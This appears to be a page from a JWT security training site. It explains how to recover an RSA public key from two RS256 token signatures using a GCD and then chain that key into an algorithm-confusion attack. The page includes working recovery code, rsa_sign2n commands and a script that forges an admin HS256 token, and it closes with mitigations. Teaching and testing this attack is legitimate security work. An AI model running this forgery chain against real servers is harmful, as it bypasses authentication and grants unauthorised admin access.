Public Key Recovery

Recover the RSA public key from two signatures via GCD - without server access - then chain to algorithm confusion.

Exploit toolTry the exploit→Lab CTF8 · Shadow Key→

The problem: no exposed public key

Algorithm confusion requires knowing the server's RSA public key. Most servers expose it at /.well-known/jwks.json - but some don't. Even without a public JWKS endpoint, the public key can be recovered mathematically from two JWT signatures produced by the same private key. This technique was formalised by PortSwigger Research in 2022 as a prerequisite step for algorithm confusion attacks against servers that hide their public key.

Mathematical foundation

RSA-PKCS#1v1.5 signatures have the form: s ≡ m^d (mod n) where m is the padded message hash,d is the private exponent, and n is the public modulus.

Given a signature s and message m with public exponent e = 65537: s^e ≡ m (mod n) which means n | (s^e - m) . For two signature/message pairs (s1, m1) and (s2, m2), the modulus ndivides both (s1^e - m1) and (s2^e - m2). Therefore n divides their GCD:

Mathematical basis
# RSA signature: s ≡ m^d (mod n)
# Therefore: s^e ≡ m (mod n)  →  s^e - m ≡ 0 (mod n)  →  n | (s^e - m)
#
# For two (signature, message) pairs from the same key:
#   n | gcd(s1^e - m1, s2^e - m2)
#
# In practice, gcd(s1^e - m1, s2^e - m2) = k*n for small k (usually k=1)
# Factoring out small primes gives n directly.
#
# e = 65537 (standard RSA public exponent)
# s = integer representation of signature bytes
# m = integer representation of PKCS#1v1.5 padded message (DigestInfo + hash)

from math import gcd

def recover_n(sigs_and_msgs):
    """sigs_and_msgs: list of (s_int, m_int) tuples"""
    e = 65537
    candidates = [(pow(s, e) - m) for s, m in sigs_and_msgs]
    result = candidates[0]
    for c in candidates[1:]:
        result = gcd(result, c)
    # Remove small prime factors to isolate n
    for small_prime in [2, 3, 5, 7, 11, 13]:
        while result % small_prime == 0:
            result //= small_prime
    return result  # This is n (the RSA modulus)

How many signatures?

In theory, two signatures suffice. In practice:

  • Two signatures from a 2048-bit key reliably produce the correct modulus in most cases
  • The GCD may return a multiple of n - testing both n and small multiples resolves this
  • Three or four signatures reduce ambiguity and handle edge cases
  • All signatures must come from the same private key (same server, same key rotation period)

Using rsa_sign2n

The rsa_sign2n tool by Silent Signal automates the entire recovery process. It accepts two or more JWTs, extracts signature and message bytes, computes the GCD, and outputs candidate public key PEM files:

rsa_sign2n key recovery
# Install
git clone https://github.com/silentsignal/rsa_sign2n
cd rsa_sign2n
pip install -r requirements.txt

# Collect two JWTs from the same server (same private key)
JWT1="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.SIGNATURE1"
JWT2="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.SIGNATURE2"

# Run recovery (outputs recovered_key_1.pem, recovered_key_2.pem)
python3 standalone/jwt_forgery.py "$JWT1" "$JWT2"

# Test each recovered key against the server:
# Use JWT Arsenal's Algorithm Confusion page with each PEM as the public key
# The one that produces a valid forged token is the correct n

Reconstructing the full public key

The recovery gives the modulus n. The public exponent eis almost universally 65537 (0x10001). Reconstructing the PEM:

Building the PEM from recovered n
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

n = 0x00b3510a...  # recovered modulus (integer)
e = 65537

pub_numbers = RSAPublicNumbers(e, n)
public_key  = pub_numbers.public_key()
pem = public_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

print(pem.decode())
# -----BEGIN PUBLIC KEY-----
# MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
# -----END PUBLIC KEY-----

Chaining to algorithm confusion

Once the public key is recovered, the complete attack chain is:

Full chain: recovery → algorithm confusion → bypass
# 1. Recover public key from two JWTs (rsa_sign2n or manual GCD)
public_key_pem = b"""-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----"""

# 2. Forge a token with alg=HS256
import hmac, hashlib, base64, json

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

header  = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = b64url(json.dumps({"sub": "admin", "role": "admin", "exp": 9999999999}))

# 3. Sign with public key PEM bytes as HMAC secret
signing_input = f"{header}.{payload}".encode()
sig = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
forged = f"{header}.{payload}.{b64url(sig)}"

# 4. If the server doesn't enforce alg=RS256, the forged token is accepted
print("Forged token:", forged)
Why two recovered keys?
The GCD approach may produce two candidate moduli when the GCD contains factors that could ben or 2n. Test each candidate against the target - only the correct one will produce a verifiable forged token.

ECDSA - why recovery doesn't apply

ECDSA signatures use a random nonce k per signature. Two signatures from the same private key produce mathematically independent results - there is no GCD relationship exploitable for key recovery. However, if the RNG is weak or deterministic and produces the same ktwice (as in the PlayStation 3 failure), the private key can be recovered via the lattice attack. This is a separate class of vulnerability.

Chaining to algorithm confusion
  • Confirmed viable attack chain by PortSwigger Research (2022) against RS256 JWTs
  • Requires only two valid JWTs from the target - obtainable by logging in twice
  • The recovered key enables algorithm confusion without server cooperation
  • Particularly impactful against servers that use RS256 but have no JWKS endpoint and no algorithm enforcement

Mitigations

  • Enforce algorithms=["RS256"] server-side - key recovery only enables algorithm confusion if the server accepts HS256
  • This attack is entirely mitigated by strict algorithm enforcement; key recovery alone does not compromise RS256 verification
  • Rotate signing keys periodically - limits the window during which recovered keys remain valid
  • Use RSA-PSS (PS256) instead of PKCS#1v1.5 (RS256) - PSS randomises padding, though key recovery still works since e and n are the same
←JKU Injection
GitHub